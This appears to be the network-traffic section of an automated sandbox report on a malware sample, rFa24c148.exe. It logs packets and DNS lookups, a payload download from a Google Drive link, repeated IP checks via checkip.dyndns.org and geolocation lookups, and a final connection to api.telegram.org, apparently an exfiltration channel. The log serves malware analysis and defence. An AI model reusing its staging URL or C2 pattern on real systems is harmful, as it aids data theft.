Oct 28, 2024 02:02:53.378767014 CET	443	49744	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:53.380764008 CET	49744	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:53.380779028 CET	443	49744	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:53.524478912 CET	443	49744	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:53.524648905 CET	443	49744	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:53.530189991 CET	49744	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:53.530430079 CET	49744	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:53.535866976 CET	49745	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:53.541269064 CET	80	49745	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:53.541385889 CET	49745	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:53.541467905 CET	49745	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:53.546756029 CET	80	49745	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:54.391597033 CET	80	49745	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:54.393779993 CET	49746	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:54.393820047 CET	443	49746	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:54.393910885 CET	49746	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:54.394126892 CET	49746	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:54.394136906 CET	443	49746	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:54.439582109 CET	49745	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:55.017432928 CET	443	49746	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:55.018891096 CET	49746	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:55.018907070 CET	443	49746	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:55.203952074 CET	443	49746	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:55.204101086 CET	443	49746	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:55.204292059 CET	49746	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:55.204899073 CET	49746	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:55.208581924 CET	49745	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:55.209847927 CET	49747	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:55.214185953 CET	80	49745	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:55.214248896 CET	49745	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:55.215121031 CET	80	49747	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:55.215184927 CET	49747	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:55.215298891 CET	49747	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:55.220556974 CET	80	49747	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:56.054059982 CET	80	49747	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:56.055643082 CET	49749	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:56.055690050 CET	443	49749	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:56.055775881 CET	49749	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:56.056015968 CET	49749	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:56.056032896 CET	443	49749	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:56.095792055 CET	49747	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:56.659238100 CET	443	49749	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:56.660617113 CET	49749	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:56.660645962 CET	443	49749	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:56.804112911 CET	443	49749	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:56.804256916 CET	443	49749	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:56.804315090 CET	49749	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:56.804578066 CET	49749	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:56.808340073 CET	49747	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:56.809312105 CET	49751	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:56.814176083 CET	80	49747	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:56.814237118 CET	49747	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:56.814644098 CET	80	49751	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:56.814704895 CET	49751	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:56.814790010 CET	49751	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:56.820040941 CET	80	49751	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:57.654194117 CET	80	49751	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:57.659692049 CET	49757	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:57.659778118 CET	443	49757	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:57.659879923 CET	49757	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:57.660162926 CET	49757	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:57.660197973 CET	443	49757	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:57.705089092 CET	49751	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:58.266302109 CET	443	49757	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:58.269269943 CET	49757	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:58.269365072 CET	443	49757	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:58.445075989 CET	443	49757	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:58.445210934 CET	443	49757	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:58.445281982 CET	49757	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:58.445856094 CET	49757	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:58.449623108 CET	49751	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:58.451164961 CET	49763	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:58.455622911 CET	80	49751	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:58.455703974 CET	49751	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:58.456537008 CET	80	49763	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:58.456754923 CET	49763	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:58.456933022 CET	49763	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:58.462269068 CET	80	49763	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:59.302843094 CET	80	49763	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:59.308115005 CET	49769	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:59.308217049 CET	443	49769	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:59.308324099 CET	49769	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:59.308542013 CET	49769	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:59.308573008 CET	443	49769	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:59.345729113 CET	49763	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:59.920805931 CET	443	49769	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:59.922557116 CET	49769	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:59.922633886 CET	443	49769	188.114.96.3	192.168.2.4
Oct 28, 2024 02:03:00.071676016 CET	443	49769	188.114.96.3	192.168.2.4
Oct 28, 2024 02:03:00.071726084 CET	443	49769	188.114.96.3	192.168.2.4
Oct 28, 2024 02:03:00.071813107 CET	49769	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:03:00.072345972 CET	49769	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:03:00.075906992 CET	49763	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:03:00.077111006 CET	49775	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:03:00.081600904 CET	80	49763	193.122.6.168	192.168.2.4
Oct 28, 2024 02:03:00.081711054 CET	49763	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:03:00.082472086 CET	80	49775	193.122.6.168	192.168.2.4
Oct 28, 2024 02:03:00.082561970 CET	49775	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:03:00.082700968 CET	49775	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:03:00.087958097 CET	80	49775	193.122.6.168	192.168.2.4
Oct 28, 2024 02:03:00.922084093 CET	80	49775	193.122.6.168	192.168.2.4
Oct 28, 2024 02:03:00.923645020 CET	49781	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:03:00.923670053 CET	443	49781	188.114.96.3	192.168.2.4
Oct 28, 2024 02:03:00.923799992 CET	49781	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:03:00.924091101 CET	49781	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:03:00.924103022 CET	443	49781	188.114.96.3	192.168.2.4
Oct 28, 2024 02:03:00.970715046 CET	49775	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:03:01.543488979 CET	443	49781	188.114.96.3	192.168.2.4
Oct 28, 2024 02:03:01.544962883 CET	49781	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:03:01.544987917 CET	443	49781	188.114.96.3	192.168.2.4
Oct 28, 2024 02:03:01.696820021 CET	443	49781	188.114.96.3	192.168.2.4
Oct 28, 2024 02:03:01.696887970 CET	443	49781	188.114.96.3	192.168.2.4
Oct 28, 2024 02:03:01.696939945 CET	49781	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:03:01.697493076 CET	49781	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:03:01.741069078 CET	49775	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:03:01.746823072 CET	80	49775	193.122.6.168	192.168.2.4
Oct 28, 2024 02:03:01.746903896 CET	49775	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:03:01.749778986 CET	49787	443	192.168.2.4	149.154.167.220
Oct 28, 2024 02:03:01.749811888 CET	443	49787	149.154.167.220	192.168.2.4
Oct 28, 2024 02:03:01.749881983 CET	49787	443	192.168.2.4	149.154.167.220
Oct 28, 2024 02:03:01.750332117 CET	49787	443	192.168.2.4	149.154.167.220
Oct 28, 2024 02:03:01.750346899 CET	443	49787	149.154.167.220	192.168.2.4
Oct 28, 2024 02:03:02.582799911 CET	443	49787	149.154.167.220	192.168.2.4
Oct 28, 2024 02:03:02.582894087 CET	49787	443	192.168.2.4	149.154.167.220
Oct 28, 2024 02:03:02.584544897 CET	49787	443	192.168.2.4	149.154.167.220
Oct 28, 2024 02:03:02.584558964 CET	443	49787	149.154.167.220	192.168.2.4
Oct 28, 2024 02:03:02.584880114 CET	443	49787	149.154.167.220	192.168.2.4
Oct 28, 2024 02:03:02.586139917 CET	49787	443	192.168.2.4	149.154.167.220
Oct 28, 2024 02:03:02.631330013 CET	443	49787	149.154.167.220	192.168.2.4
Oct 28, 2024 02:03:02.819597006 CET	443	49787	149.154.167.220	192.168.2.4
Oct 28, 2024 02:03:02.819758892 CET	443	49787	149.154.167.220	192.168.2.4
Oct 28, 2024 02:03:02.819933891 CET	49787	443	192.168.2.4	149.154.167.220
Oct 28, 2024 02:03:02.837275982 CET	49787	443	192.168.2.4	149.154.167.220
Oct 28, 2024 02:03:08.744673967 CET	49743	80	192.168.2.4	193.122.6.168

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 02:02:40.300445080 CET	56702	53	192.168.2.4	1.1.1.1
Oct 28, 2024 02:02:40.308408976 CET	53	56702	1.1.1.1	192.168.2.4
Oct 28, 2024 02:02:41.660851955 CET	55316	53	192.168.2.4	1.1.1.1
Oct 28, 2024 02:02:41.668683052 CET	53	55316	1.1.1.1	192.168.2.4
Oct 28, 2024 02:02:46.724473953 CET	49530	53	192.168.2.4	1.1.1.1
Oct 28, 2024 02:02:46.732223988 CET	53	49530	1.1.1.1	192.168.2.4
Oct 28, 2024 02:02:48.194356918 CET	55807	53	192.168.2.4	1.1.1.1
Oct 28, 2024 02:02:48.203335047 CET	53	55807	1.1.1.1	192.168.2.4
Oct 28, 2024 02:03:01.741662025 CET	56280	53	192.168.2.4	1.1.1.1
Oct 28, 2024 02:03:01.749072075 CET	53	56280	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 02:02:40.300445080 CET	192.168.2.4	1.1.1.1	0xb027	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:02:41.660851955 CET	192.168.2.4	1.1.1.1	0x3359	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:02:46.724473953 CET	192.168.2.4	1.1.1.1	0x5f54	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:02:48.194356918 CET	192.168.2.4	1.1.1.1	0x8efa	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:03:01.741662025 CET	192.168.2.4	1.1.1.1	0x7de9	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 02:02:40.308408976 CET	1.1.1.1	192.168.2.4	0xb027	No error (0)	drive.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:02:41.668683052 CET	1.1.1.1	192.168.2.4	0x3359	No error (0)	drive.usercontent.google.com		142.250.185.225	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:02:46.732223988 CET	1.1.1.1	192.168.2.4	0x5f54	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:02:46.732223988 CET	1.1.1.1	192.168.2.4	0x5f54	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:02:46.732223988 CET	1.1.1.1	192.168.2.4	0x5f54	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:02:46.732223988 CET	1.1.1.1	192.168.2.4	0x5f54	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:02:46.732223988 CET	1.1.1.1	192.168.2.4	0x5f54	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:02:46.732223988 CET	1.1.1.1	192.168.2.4	0x5f54	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:02:48.203335047 CET	1.1.1.1	192.168.2.4	0x8efa	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:02:48.203335047 CET	1.1.1.1	192.168.2.4	0x8efa	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:03:01.749072075 CET	1.1.1.1	192.168.2.4	0x7de9	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	193.122.6.168	80	7732	C:\Users\user\Desktop\rFa24c148.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 02:02:46.742029905 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 28, 2024 02:02:47.584932089 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:02:47 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a38f24765a2eb198d59481604ff4958c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.188</body></html>
Oct 28, 2024 02:02:47.717155933 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 28, 2024 02:02:47.964955091 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:02:47 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a6d1591616e2faf0917ba790f77d8b6b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.188</body></html>
Oct 28, 2024 02:02:49.215886116 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 28, 2024 02:02:49.462076902 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:02:49 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c8629cb75c018ffa8572f273e81e8403 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.188</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49741	193.122.6.168	80	7732	C:\Users\user\Desktop\rFa24c148.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 02:02:50.300966024 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 28, 2024 02:02:51.126579046 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:02:51 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: bdc3716a2321e9c725f48e6473892b07 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.188</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49743	193.122.6.168	80	7732	C:\Users\user\Desktop\rFa24c148.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 02:02:51.923261881 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 28, 2024 02:02:52.760802031 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:02:52 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cfc2fff10049a331ceb328ce691edf3b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.188</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49745	193.122.6.168	80	7732	C:\Users\user\Desktop\rFa24c148.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 02:02:53.541467905 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 28, 2024 02:02:54.391597033 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:02:54 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c39200e6a9dbcc04a52a595f9ce9b159 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.188</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49747	193.122.6.168	80	7732	C:\Users\user\Desktop\rFa24c148.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 02:02:55.215298891 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 28, 2024 02:02:56.054059982 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:02:55 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 078569191f57a612610bef8dc71091be Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.188</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49751	193.122.6.168	80	7732	C:\Users\user\Desktop\rFa24c148.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 02:02:56.814790010 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 28, 2024 02:02:57.654194117 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:02:57 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 748c3a6e50236af62b8ab4913e9e8e5d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.188</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49763	193.122.6.168	80	7732	C:\Users\user\Desktop\rFa24c148.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 02:02:58.456933022 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 28, 2024 02:02:59.302843094 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:02:59 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 37ad6314b0894e2ee5075dbd73310d49 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.188</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49775	193.122.6.168	80	7732	C:\Users\user\Desktop\rFa24c148.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 02:03:00.082700968 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 28, 2024 02:03:00.922084093 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:03:00 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 0e2c7c078996d536482ad3b87a063640 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.188</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	172.217.18.110	443	7732	C:\Users\user\Desktop\rFa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:02:41 UTC	216	OUT	GET /uc?export=download&id=1BxjUpVo1l3Tc98y3lq5MzBCE4rW1Evm6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
